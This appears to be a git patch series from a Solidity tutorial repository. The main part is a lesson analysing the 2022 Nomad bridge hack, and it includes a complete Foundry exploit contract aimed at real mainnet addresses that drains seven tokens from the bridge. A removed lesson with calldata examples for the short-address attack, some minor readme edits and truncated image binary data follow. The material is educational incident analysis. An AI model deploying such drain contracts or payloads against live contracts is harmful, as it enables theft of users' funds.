+ +Snippet 1: `process` function on Replica.sol, view [raw](https://gist.github.com/gists-immunefi/f8ef00be9e1c5dd4d879a418966191e0#file-nomad-hack-analysis-1-sol). + +
+ +The `process` [function](https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code%23F1%23L179) in the `Replica` contract is responsible for dispatching a message to its final recipient. This will only be successful if the input message has already been proven, which means that the message has already been added to the Merkle tree, leading to an accepted and trustworthy root. That check is done against the message hash, using the `acceptableRoot` view function, which will read from the confirmed roots mapping. + +``` + function initialize( + uint32 _remoteDomain, + address _updater, + bytes32 _committedRoot, + uint256 _optimisticSeconds + ) public initializer { + __NomadBase_initialize(_updater); + // set storage variables + entered = 1; + remoteDomain = _remoteDomain; + committedRoot = _committedRoot; + // pre-approve the committed root. + confirmAt[_committedRoot] = 1; + _setOptimisticTimeout(_optimisticSeconds); + } +``` +
+ +Snippet 2: `initialize` function in Replica.sol, view [raw](https://gist.github.com/gists-immunefi/4792c4bb10d3f73648b4b0f86e564ac9#file-nomad-hack-analysis-2-sol). + +
+ +When an upgrade happens on the implementation of a given proxy contract, the upgrading logic may execute a one-time-call initialization function. This function will set some initial state values. In particular, a routine [April 21st upgrade](https://openchain.xyz/trace/ethereum/0x99662dacfb4b963479b159fc43c2b4d048562104fe154a4d0c2519ada72e50bf) was made, and the value 0x00 was passed as the pre-approved committed root, which gets stored into the confirmAt mapping. This is where the vulnerability appeared. + +Going back to the `process()` function, we see that we rely on checking for a message hash on the `messages` mapping. That mapping is responsible for marking messages as processed, so that attackers cannot replay the same message. + +A particular aspect of an EVM smart contract storage is that all slots are virtually initialized as zero values, which means that if one reads an unused slot in storage, it won’t raise an exception but rather it will return 0x00. A corollary to this is that every unused key on a Solidity mapping will return 0x00. Following that logic, whenever the message hash is not present on the `messages` mapping, 0x00 will be returned, and that will be passed to the `acceptableRoot` function, which in turn will return true given that 0x00 has been set as a trusted root. The message will then be marked as processed, but anybody can simply change the message to create a new unused one and resubmit it. + +The input message encodes various different parameters in a given format. Among those, for a message to unlock funds from the bridge, there’s the recipient address. So after the first attacker executed a [successful transaction](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), anyone that knew how to decode the message format could simply change the recipient address and replay the attack transaction, this time with a different message that would give profit to the new address. + +## Proof of Concept + +Now that we understand the vulnerability that compromised the Nomad protocol, we can formulate our own proof of concept (PoC). We will craft specific messages to call the `process` function in `Replica` function once for each specific token we want to drain, leading to protocol insolvency in just one single transaction. + +We’ll start by selecting an RPC provider with archive access. For this demonstration, we will be using [the free public RPC aggregator](https://www.ankr.com/rpc/eth/) provided by Ankr. We select the block number 15259100 as our fork block, 1 block before the first hack transaction. + +Our PoC needs to run through a number of steps on a single transaction to be successful. Here is a high-level overview of what we will be implementing in our attack PoC: + +1. Select a given ERC-20 token and check the balance of the Nomad ERC-20 bridge contract. +2. Generate a message payload with the right parameters to unlock funds, among which our attacker address as the recipient and the full token balance as the amount of funds to be unlocked. +3. Call the vulnerable process function, which will lead to a transfer of tokens to the recipient address. +4. Loop through various ERC-20 tokens with a relevant presence on the bridge’s balance to drain those funds in the same fashion. + +Let’s code one step at a time, and eventually look at how the entire PoC looks. We will be using Foundry. + +## The Attack + +``` +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = IERC20(token).balanceOf(ERC20_BRIDGE); + + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory) {} +} +``` +
+ +Snippet 3: The start of our attack contract, view [raw](https://gist.github.com/gists-immunefi/4305df38623ddcaa11812a9c186c73ac#file-nomad-hack-analysis-3-sol). + +
+ +Let’s begin by creating our Attacker contract. The entry point to our contract will be the `attack` function, which is as simple as a for loop going through various different token addresses. We check `ERC20_BRIDGE`’s balance of the specific token that we’re dealing with. This is the address of the Nomad ERC-20 bridge contract, which holds the locked funds on Ethereum. + +After that, the malicious message payload is generated. The parameters that will change in each loop iteration are the token address and the amount of funds to be transferred. The generated message will be the input to the `IReplica.process` function. As we already established, this function will forward the encoded message to the right end contract on the Nomad protocol to bring the unlock and transferring request to fruition, effectively tricking the bridge logic. + +``` + +contract Attacker { + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` +
+ +Snippet 4: Generate the malicious message with the right format and parameters, view [raw](https://gist.github.com/gists-immunefi/2a5fbe2e6034dd30534bdd4433b52a29#file-nomad-hack-analysis-4-sol). + +
+ +The generated message needs to be encoded with various different parameters, so that it gets properly unpacked by the protocol. Importantly, we need to specify the forwarding path of the message — the bridge router and the ERC-20 bridge addresses. We must flag the message as a token transfer, hence the `0x3` value as the type. + +Finally, we have to specify the parameters that will bring the profit to us–the right token address, the amount to be transferred, and the recipient of that transfer. As we’ve seen already, this will surely create a brand new original message that will never have been processed by the `Replica` contract, which means that it will actually be seen as valid, according to our previous explanation. + +Quite impressively, this completes the entire exploit logic. If we had some Foundry logs, our PoC still amounts to only 87 lines of code. + +If we run this PoC against the forked block number, we will get the following profits: + +* 1,028 WBTC +* 22,876 WETH +* 87,459,362 USDC +* 8,625,217 USDT +* 4,533,633 DAI +* 119,088 FXS +113,403,733 CQT + +## Conclusion + +The Nomad Bridge exploit was one of the biggest hacks of 2022. The attack stresses the importance of security throughout the entire protocol. In this particular case, we’ve learned how a single routine upgrade on a proxy implementation can cause a critical vulnerability and compromise all locked funds. Furthermore, during development one needs to be careful regarding the 0x00 default values on storage slots, specially in logic involving mappings. It’s also good to have some unit testing setup for such common values that might lead to vulnerabilities. + +It should be noted that some scavenger accounts that drained portions of the funds returned them to the protocol. There are [plans to relaunch the bridge](https://medium.com/nomad-xyz-blog/nomad-bridge-relaunch-guide-3a4ef6624f90), and the returned assets will be distributed to users through pro-rata shares of those recovered funds. Any stolen funds can be returned to Nomad’s [recovery wallet](https://etherscan.io/address/0x94a84433101a10aeda762968f6995c574d1bf154). + +As previously pointed out, this PoC actually enhances the hack and drains all TVL in one transaction. It is a simpler attack than what actually took place in reality. This is what our entire PoC looks like, with the addition of some helpful Foundry logs: + +``` +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; +import "forge-std/console.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = ERC20(token).balanceOf(ERC20_BRIDGE); + + console.log( + "[*] Stealing", + amount_bridge / 10**ERC20(token).decimals(), + ERC20(token).symbol() + ); + console.log( + " Attacker balance before:", + ERC20(token).balanceOf(msg.sender) + ); + + // Generate the payload with all of the tokens stored on the bridge + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + + console.log( + " Attacker balance after: ", + IERC20(token).balanceOf(msg.sender) / 10**ERC20(token).decimals() + ); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` +
+ +Snippet 5: all code, view [raw](https://gist.github.com/gists-immunefi/2bdffe6f9683c9b3ab810e1fb7fe4aff#file-nomad-hack-analysis-5-sol). + +
From 59b044a9248ba624f0c3c4beef139c98fbffc9b2 Mon Sep 17 00:00:00 2001 From: SunWeb3Sec <107249780+SunWeb3Sec@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:50:47 +0800 Subject: [PATCH 27/46] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 2fbf723e8..88e2a6e52 100644 --- a/README.md +++ b/README.md @@ -217,6 +217,8 @@ **第5讲:漏洞概念验证-下篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_write_your_own_poc/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_write_your_own_poc/en/)】 **第6讲:Rugpull 分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/en/)】 + +**第7讲:Nomad 跨链桥事件分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/07_analysis_bridge/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/07_analysis_bridge/en/)】

@@ -273,4 +275,4 @@ - [Chainlink Docs](https://docs.chain.link/) - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) -- [rekt news](https://rekt.news/zh/) \ No newline at end of file +- [rekt news](https://rekt.news/zh/) From 04ea629388021a5bef6379470982d666911cadaf Mon Sep 17 00:00:00 2001 From: SunWeb3Sec <107249780+SunWeb3Sec@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:52:23 +0800 Subject: [PATCH 28/46] Update readme.md --- Topics/readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Topics/readme.md b/Topics/readme.md index ecb6dd4de..7f8099581 100644 --- a/Topics/readme.md +++ b/Topics/readme.md @@ -28,6 +28,8 @@ **第6讲:Rugpull 分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/06_Rugpull/en/)】 +**第7讲:Nomad 跨链桥事件分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/07_analysis_bridge/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/07_analysis_bridge/en/)】 + ### `NFT` **第1讲:ERC721库:Address, Strings, Context** 【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721)】 【[文章](https://mirror.xyz/wtfacademy.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho)】 From c3c1fadc0abeac4720bad9d312987736db074eda Mon Sep 17 00:00:00 2001 From: Wade <39545122+MuHongWeiWei@users.noreply.github.com> Date: Sun, 10 Sep 2023 02:00:09 +0800 Subject: [PATCH 29/46] Update readme.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 回傳類型是 bytes 不是 data --- 22_Call/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/22_Call/readme.md b/22_Call/readme.md index 5cac05b9f..471626c76 100644 --- a/22_Call/readme.md +++ b/22_Call/readme.md @@ -23,7 +23,7 @@ tags: 我们曾在[第20讲:发送ETH](https://github.com/AmazingAng/WTFSolidity/tree/main/20_SendETH)那一讲介绍过利用`call`来发送`ETH`,这一讲我们将介绍如何利用它调用合约。 ## Call -`call` 是`address`类型的低级成员函数,它用来与其他合约交互。它的返回值为`(bool, data)`,分别对应`call`是否成功以及目标函数的返回值。 +`call` 是`address`类型的低级成员函数,它用来与其他合约交互。它的返回值为`(bool, bytes memory)`,分别对应`call`是否成功以及目标函数的返回值。 - `call`是`solidity`官方推荐的通过触发`fallback`或`receive`函数发送`ETH`的方法。 - 不推荐用`call`来调用另一个合约,因为当你调用不安全合约的函数时,你就把主动权交给了它。推荐的方法仍是声明合约变量后调用函数,见[第21讲:调用其他合约](https://github.com/AmazingAng/WTFSolidity/tree/main/21_CallContract) From eb1cb823e4a1bb6ac5f651fd7201b3a842aafa65 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Mon, 11 Sep 2023 16:52:00 +0800 Subject: [PATCH 30/46] delete short address --- S13_ShortAddressAttack/ShortAddressAttack.sol | 25 --- S13_ShortAddressAttack/readme.md | 142 ------------------ 2 files changed, 167 deletions(-) delete mode 100644 S13_ShortAddressAttack/ShortAddressAttack.sol delete mode 100644 S13_ShortAddressAttack/readme.md diff --git a/S13_ShortAddressAttack/ShortAddressAttack.sol b/S13_ShortAddressAttack/ShortAddressAttack.sol deleted file mode 100644 index dc698db23..000000000 --- a/S13_ShortAddressAttack/ShortAddressAttack.sol +++ /dev/null @@ -1,25 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.17; - -contract Coin { - address owner; - mapping (address => uint256) public balances; - - modifier OwnerOnly() { - require(msg.sender == owner); _; - } - - function ICoin() public { - owner = msg.sender; - } - - function approve(address _to, uint256 _amount) public OwnerOnly { - balances[_to] += _amount; - } - - function transfer(address _to, uint256 _amount) public { - require(balances[msg.sender] > _amount); - balances[msg.sender] -= _amount; - balances[_to] += _amount; - } -} \ No newline at end of file diff --git a/S13_ShortAddressAttack/readme.md b/S13_ShortAddressAttack/readme.md deleted file mode 100644 index fbe2e7a6c..000000000 --- a/S13_ShortAddressAttack/readme.md +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: S13. 短地址攻击 -tags: - - solidity - - security ---- - -# WTF Solidity 合约安全: S13. 短地址攻击 - -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 - -推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) - -社区:[Discord](https://discord.wtf.academy)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) - -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) - ------ - -这一讲,我们将介绍短地址攻击(Short Address Attack)。 - -## 什么是短地址攻击? - -短地址攻击的原理是利用 EVM 在参数长度不够时自动在右方补 0 的特性,通过去除钱包地址末位的 0,达到将转账金额左移放大的效果。 - -一般ERC-20 TOKEN (令牌) 标准的代币都会实现 transfer (转移) 方法,这个方法在ERC-20标签中的定义为: - -```solidity -function transfer(address to, uint tokens) public returns (bool success); -``` - -第一参数是发送代币的目的地址,第二个参数是发送 token (令牌) 的数量。 - -当我们调用 transfer (转移) 函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分: - -4 字节,是方法名的哈希:a9059cbb - -32字节,放以太坊地址,目前以太坊地址是20个字节,高危补0 - -```solidity -000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca -``` - -32字节,是需要传输的代币数量,这里是1*10^18 GNT - -```solidity -0000000000000000000000000000000000000000000000000de0b6b3a7640000 -``` - -所有这些加在一起就是交易数据: - -```solidity -a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000 -``` - -当调用 transfer (转移) 方法提币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法。 - -如果一个以太坊地址如下,注意到结尾为0: - -```solidity -0x1234567890123456789012345678901234567800 -``` - -当我们将后面的00省略时,EVM会从下一个参数的高位拿到00来补充,这就会导致一些问题了。 - -这时, token (令牌) 数量参数其实就会少了1个字节,即token数量左移了一个字节,使得合约多发送很多代币出来。 - -## 漏洞合约例子 - -```solidity -// SPDX-License-Identifier: MIT -pragma solidity 0.8.17; - -contract Coin { - address owner; - mapping (address => uint256) public balances; - - modifier OwnerOnly() { - require(msg.sender == owner); _; - } - - function ICoin() public { - owner = msg.sender; - } - - function approve(address _to, uint256 _amount) public OwnerOnly { - balances[_to] += _amount; - } - - function transfer(address _to, uint256 _amount) public { - require(balances[msg.sender] > _amount); - balances[msg.sender] -= _amount; - balances[_to] += _amount; - } -} -``` - -具体代币功能的合约 Coin (硬币) ,当 A 账户向 B 账户转代币时调用 transfer() 函数,例如 A 账户(`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`)向 B 账户(`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`)转 8 个 Coin (硬币) ,msg.data 数据为: - -``` -0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 -0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db -> B 账户地址(前补 0 补齐 32 字节) -0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) -``` - -那么短地址攻击是怎么做的呢,攻击者找到一个末尾是 00 账户地址,假设为 `0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200`,那么正常情况下整个调用的 msg.data 应该为: - -``` -0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 -0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -> B 账户地址(注意末尾 00) -0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) -``` - -但是如果我们将 B 地址的 00 吃掉,不进行传递,也就是说我们少传递 1 个字节变成 4+31+32: - -``` -0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 -0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2 -> B 地址(31 字节) -0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) -``` - -当上面数据进入 EVM 进行处理时,对参数进行编码对齐后补 00 变为: - -``` -0xa9059cbb -0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -0000000000000000000000000000000000000000000000000000000000000800 -``` - -也就是说,恶意构造的 msg.data 通过 EVM 解析补 0 操作,导致原本 0x8 = 8 变为了 0x800 = 2048。 - -## `Remix` 复现 - -因为客户端会检查地址长度,目前不能通过 Remix 复现;也不能通过 sendTransaction(),因为 web3 中也加了保护, 不过可以使用 geth 搭建私链,使用 sendRawTransaction() 发送交易复现。 - -## 预防办法 - -1. 目前主要依靠客户端主动检查地址长度来避免该问题,另外 web3 层面也增加了参数格式校验。 - -## 总结 - -这一讲,我们介绍了以太坊短地址攻击,由于目前普遍拥有地址检查,虽然 EVM 层仍然可以复现,但是在实际应用场景中基本没有问题。 From 15eec50b016bc048bd6e7441c7808c39c573233b Mon Sep 17 00:00:00 2001 From: Bean Date: Thu, 14 Sep 2023 09:29:40 -0500 Subject: [PATCH 31/46] Update readme.md --- 04_Return/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/04_Return/readme.md b/04_Return/readme.md index 54d4785d4..22f506735 100644 --- a/04_Return/readme.md +++ b/04_Return/readme.md @@ -35,7 +35,7 @@ function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ } ``` -在上述代码中,我们利用 `returns` 关键字声明了有多个返回值的 `returnMultiple()` 函数,然后我们在函数主体中使用 `return(1, true, [uint256(1),2,5])` 确定了返回值。 +在上述代码中,我们利用 `returns` 关键字声明了有多个返回值的 `returnMultiple()` 函数,然后我们在函数主体中使用 `return(1, true, [uint256(1),2,5])` 确定了返回值。你可能会疑惑 uint256[3] memory 和 [uint256(1), 2,5] 这两个写法,你可以先在网上搜一下相关的说明或者带着这个疑惑继续学习后面的章节,你就会得到答案了。 ## 命名式返回 From 3ef460783faebaa9da2ecd2f1e1fbf4c1047e16b Mon Sep 17 00:00:00 2001 From: Bean Date: Sat, 16 Sep 2023 20:38:22 -0500 Subject: [PATCH 32/46] Update readme.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 少一个接收变量 --- 06_ArrayAndStruct/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/06_ArrayAndStruct/readme.md b/06_ArrayAndStruct/readme.md index b43164787..629cfc12d 100644 --- a/06_ArrayAndStruct/readme.md +++ b/06_ArrayAndStruct/readme.md @@ -59,7 +59,7 @@ contract C { function f() public pure { g([uint(1), 2, 3]); } - function g(uint[3] memory) public pure { + function g(uint[3] memory _data) public pure { // ... } } From d82fec4a1830326546a93eb34ab5006622bff8d8 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Mon, 18 Sep 2023 18:00:04 +0800 Subject: [PATCH 33/46] update 57 flashloan --- 57_Flashloan/img/57-1.png | Bin 0 -> 61705 bytes 57_Flashloan/readme.md | 492 +++++++++++++++++++++ 57_Flashloan/src/AaveV3Flashloan.sol | 67 +++ 57_Flashloan/src/Lib.sol | 109 +++++ 57_Flashloan/src/UniswapV2Flashloan.sol | 65 +++ 57_Flashloan/src/UniswapV3Flashloan.sol | 73 +++ 57_Flashloan/test/AaveV3Flashloan.t.sol | 38 ++ 57_Flashloan/test/UniswapV2Flashloan.t.sol | 38 ++ 57_Flashloan/test/UniswapV3Flashloan.t.sol | 41 ++ README.md | 2 + 10 files changed, 925 insertions(+) create mode 100644 57_Flashloan/img/57-1.png create mode 100644 57_Flashloan/readme.md create mode 100644 57_Flashloan/src/AaveV3Flashloan.sol create mode 100644 57_Flashloan/src/Lib.sol create mode 100644 57_Flashloan/src/UniswapV2Flashloan.sol create mode 100644 57_Flashloan/src/UniswapV3Flashloan.sol create mode 100644 57_Flashloan/test/AaveV3Flashloan.t.sol create mode 100644 57_Flashloan/test/UniswapV2Flashloan.t.sol create mode 100644 57_Flashloan/test/UniswapV3Flashloan.t.sol diff --git a/57_Flashloan/img/57-1.png b/57_Flashloan/img/57-1.png new file mode 100644 index 0000000000000000000000000000000000000000..7199c4c7afffb0f3b85cedf5f130970ada97d152 GIT binary patch literal 61705 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 